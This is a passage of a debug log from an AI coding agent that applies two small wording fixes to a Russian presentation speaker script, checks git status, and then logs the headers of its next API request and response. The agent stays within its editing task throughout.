[INFO]     ],\n[2026-09-29T07:56:21.931Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:21.931Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:21.931Z] [INFO]       \"cache_creation_input_tokens\": 1129,\n[2026-09-29T07:56:21.931Z] [INFO]       \"cache_read_input_tokens\": 60807,\n[2026-09-29T07:56:21.931Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:21.931Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:21.931Z] [INFO]         \"ephemeral_1h_input_tokens\": 1129\n[2026-09-29T07:56:21.931Z] [INFO]       },\n[2026-09-29T07:56:21.931Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:56:21.931Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:21.931Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:21.931Z] [INFO]     },\n[2026-09-29T07:56:21.931Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:21.931Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:21.931Z] [INFO]   },\n[2026-09-29T07:56:21.931Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:21.931Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"uuid\": \"29e42782-3250-414c-b1ae-035cbe0e0856\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:21.920Z\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"request_id\": \"req_011CfXNam7i9nWEgywLpcZW4\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:56:21.931Z] [INFO]     \"toolu_01GFgEY5eVXxKiysgncR65Ga\": {\n[2026-09-29T07:56:21.931Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; F=2026-09-29-meta-model-presentation-speaker-script.md\\npython3 - \\\"$F\\\" <<'EOF'\\nimport sys\\nf=sys.argv[1]; t=open(f).read()\\nreps=[(\\\"\\\"\\\"- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430\\n  \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0438 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\\"\\\"\\\"),\\n(\\\"\\\"\\\"\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\\"\\\"\\\",\\n\\\"\\\"\\\"\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442. \u0417\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\\n\u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\\n\u043d\u0451\u043c.\\\"\\\"\\\")]\\nfor a,b in reps:\\n    assert a in t,a; t=t.replace(a,b)\\nopen(f,'w').write(t)\\nEOF\\ncd /tmp/gh-issue-solver-1790667776920; git status --short; ls projects/ba-ai-process/docs/presentation; git show --stat HEAD | head\",\n[2026-09-29T07:56:21.931Z] [INFO]       \"description\": \"Apply wording fixes and check git state\"\n[2026-09-29T07:56:21.931Z] [INFO]     }\n[2026-09-29T07:56:21.931Z] [INFO]   }\n[2026-09-29T07:56:21.931Z] [INFO] }\n[2026-09-29T07:56:23.749Z] [INFO] {\n[2026-09-29T07:56:23.749Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:56:23.749Z] [INFO]   \"message\": {\n[2026-09-29T07:56:23.749Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:56:23.749Z] [INFO]     \"content\": [\n[2026-09-29T07:56:23.749Z] [INFO]       {\n[2026-09-29T07:56:23.749Z] [INFO]         \"tool_use_id\": \"toolu_01GFgEY5eVXxKiysgncR65Ga\",\n[2026-09-29T07:56:23.749Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:56:23.749Z] [INFO]         \"content\": \"?? projects/ba-ai-process/docs/presentation/\\n2026-09-29-meta-model-presentation-slides.md\\n2026-09-29-meta-model-presentation-speaker-script.md\\ncommit 611336aa85daea757b56bcbe7dbb14fdd0356d9f\\nAuthor: konard \\nDate:   Tue Sep 29 07:43:01 2026 +0000\\n\\n    Initial commit with task details\\n    \\n    Adding .gitkeep for PR creation (default mode).\\n    This file will be removed when the task is complete.\\n    \\n    Issue: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\",\n[2026-09-29T07:56:23.749Z] [INFO]         \"is_error\": false\n[2026-09-29T07:56:23.749Z] [INFO]       }\n[2026-09-29T07:56:23.749Z] [INFO]     ]\n[2026-09-29T07:56:23.749Z] [INFO]   },\n[2026-09-29T07:56:23.749Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:23.749Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:23.749Z] [INFO]   \"uuid\": \"f95ba019-5175-4655-b821-7713d231e611\",\n[2026-09-29T07:56:23.749Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:23.737Z\",\n[2026-09-29T07:56:23.749Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:56:23.749Z] [INFO]     \"stdout\": \"?? projects/ba-ai-process/docs/presentation/\\n2026-09-29-meta-model-presentation-slides.md\\n2026-09-29-meta-model-presentation-speaker-script.md\\ncommit 611336aa85daea757b56bcbe7dbb14fdd0356d9f\\nAuthor: konard \\nDate:   Tue Sep 29 07:43:01 2026 +0000\\n\\n    Initial commit with task details\\n    \\n    Adding .gitkeep for PR creation (default mode).\\n    This file will be removed when the task is complete.\\n    \\n    Issue: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\",\n[2026-09-29T07:56:23.749Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:56:23.749Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:56:23.749Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:56:23.749Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:56:23.749Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:56:23.749Z] [INFO]       \"files\": [\n[2026-09-29T07:56:23.749Z] [INFO]         {\n[2026-09-29T07:56:23.749Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:56:23.749Z] [INFO]           \"hunks\": [\n[2026-09-29T07:56:23.749Z] [INFO]             {\n[2026-09-29T07:56:23.749Z] [INFO]               \"oldStart\": 181,\n[2026-09-29T07:56:23.749Z] [INFO]               \"oldLines\": 8,\n[2026-09-29T07:56:23.749Z] [INFO]               \"newStart\": 181,\n[2026-09-29T07:56:23.749Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:56:23.749Z] [INFO]               \"lines\": [\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" - \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"-- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"-  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+  \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0438 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" - \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"   \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"   \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\"\n[2026-09-29T07:56:23.749Z] [INFO]               ]\n[2026-09-29T07:56:23.749Z] [INFO]             },\n[2026-09-29T07:56:23.749Z] [INFO]             {\n[2026-09-29T07:56:23.749Z] [INFO]               \"oldStart\": 386,\n[2026-09-29T07:56:23.749Z] [INFO]               \"oldLines\": 8,\n[2026-09-29T07:56:23.749Z] [INFO]               \"newStart\": 386,\n[2026-09-29T07:56:23.749Z] [INFO]               \"newLines\": 9,\n[2026-09-29T07:56:23.749Z] [INFO]               \"lines\": [\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"-\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"-\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442. \u0417\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+\u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+\u043d\u0451\u043c.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" ### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \"\n[2026-09-29T07:56:23.749Z] [INFO]               ]\n[2026-09-29T07:56:23.749Z] [INFO]             }\n[2026-09-29T07:56:23.749Z] [INFO]           ]\n[2026-09-29T07:56:23.749Z] [INFO]         }\n[2026-09-29T07:56:23.749Z] [INFO]       ],\n[2026-09-29T07:56:23.749Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:56:23.749Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:56:23.749Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\"\n[2026-09-29T07:56:23.749Z] [INFO]       ]\n[2026-09-29T07:56:23.749Z] [INFO]     }\n[2026-09-29T07:56:23.749Z] [INFO]   }\n[2026-09-29T07:56:23.749Z] [INFO] }\n[2026-09-29T07:56:23.801Z] [STDOUT] [log_7063dc] sending request {\n[2026-09-29T07:56:23.806Z] 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[STDOUT]       thread: [Object ...],\n[2026-09-29T07:56:23.894Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:56:23.896Z] [STDOUT]       stream: true,\n[2026-09-29T07:56:23.901Z] [STDOUT]     },\n[2026-09-29T07:56:23.905Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:56:23.911Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:56:23.922Z] [STDOUT]       aborted: false,\n[2026-09-29T07:56:23.926Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:56:23.929Z] [STDOUT]       onabort: null,\n[2026-09-29T07:56:23.935Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:56:23.945Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:56:23.951Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:56:23.954Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:56:23.957Z] [STDOUT]     },\n[2026-09-29T07:56:23.962Z] [STDOUT]     stream: true,\n[2026-09-29T07:56:23.970Z] [STDOUT]   },\n[2026-09-29T07:56:23.973Z] [STDOUT]   headers: {\n[2026-09-29T07:56:23.975Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:56:23.977Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:56:23.981Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:56:23.985Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:56:23.987Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:56:23.993Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:56:23.996Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:56:24.000Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:56:24.003Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:56:24.007Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1801\",\n[2026-09-29T07:56:24.012Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:56:24.024Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:56:24.028Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:24.030Z] [STDOUT]     \"x-client-request-id\": \"e95e7f5b-b268-4404-9a9d-6b14c96a2b57\",\n[2026-09-29T07:56:24.036Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:56:24.042Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:56:24.048Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:56:24.050Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:56:24.055Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:56:24.063Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:56:24.067Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:56:24.073Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:56:24.077Z] [STDOUT]   },\n[2026-09-29T07:56:24.082Z] [STDOUT] }\n[2026-09-29T07:56:24.658Z] [STDOUT] [log_7063dc, request-id: \"req_011CfXNbLUuSKj5SPMNir4Fh\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 858ms\n[2026-09-29T07:56:24.662Z] [STDOUT] [log_7063dc] response start {\n[2026-09-29T07:56:24.665Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:24.669Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:24.672Z] [STDOUT]   headers: {\n[2026-09-29T07:56:24.675Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:24.678Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:24.681Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:24.683Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.42\",\n[2026-09-29T07:56:24.687Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:24.690Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:24.694Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:24.698Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:24.705Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:24.709Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:24.713Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:24.718Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:24.723Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:24.728Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:24.732Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:24.735Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:24.739Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:24.745Z] [STDOUT]     \"cf-ray\": \"a4296e58c8855d90-FRA\",\n[2026-09-29T07:56:24.749Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:56:24.753Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:24.756Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:24.759Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:24.762Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:56:24 GMT\",\n[2026-09-29T07:56:24.767Z] [STDOUT]     \"request-id\": \"req_011CfXNbLUuSKj5SPMNir4Fh\",\n[2026-09-29T07:56:24.772Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:56:24.776Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:24.780Z] [STDOUT]     traceresponse: \"00-23cf267772fcde6e03eb27d7ccfdb74e-f501641e9d1f584e-01\",\n[2026-09-29T07:56:24.783Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:24.786Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:56:24.790Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:24.796Z] [STDOUT]   },\n[2026-09-29T07:56:24.801Z] [STDOUT]   durationMs: 858,\n[2026-09-29T07:56:24.808Z] [STDOUT] }\n[2026-09-29T07:56:24.811Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:56:24.817Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:56:24 GMT\",\n[2026-09-29T07:56:24.823Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:24.826Z] [STDOUT]   \"transfer-encoding\": 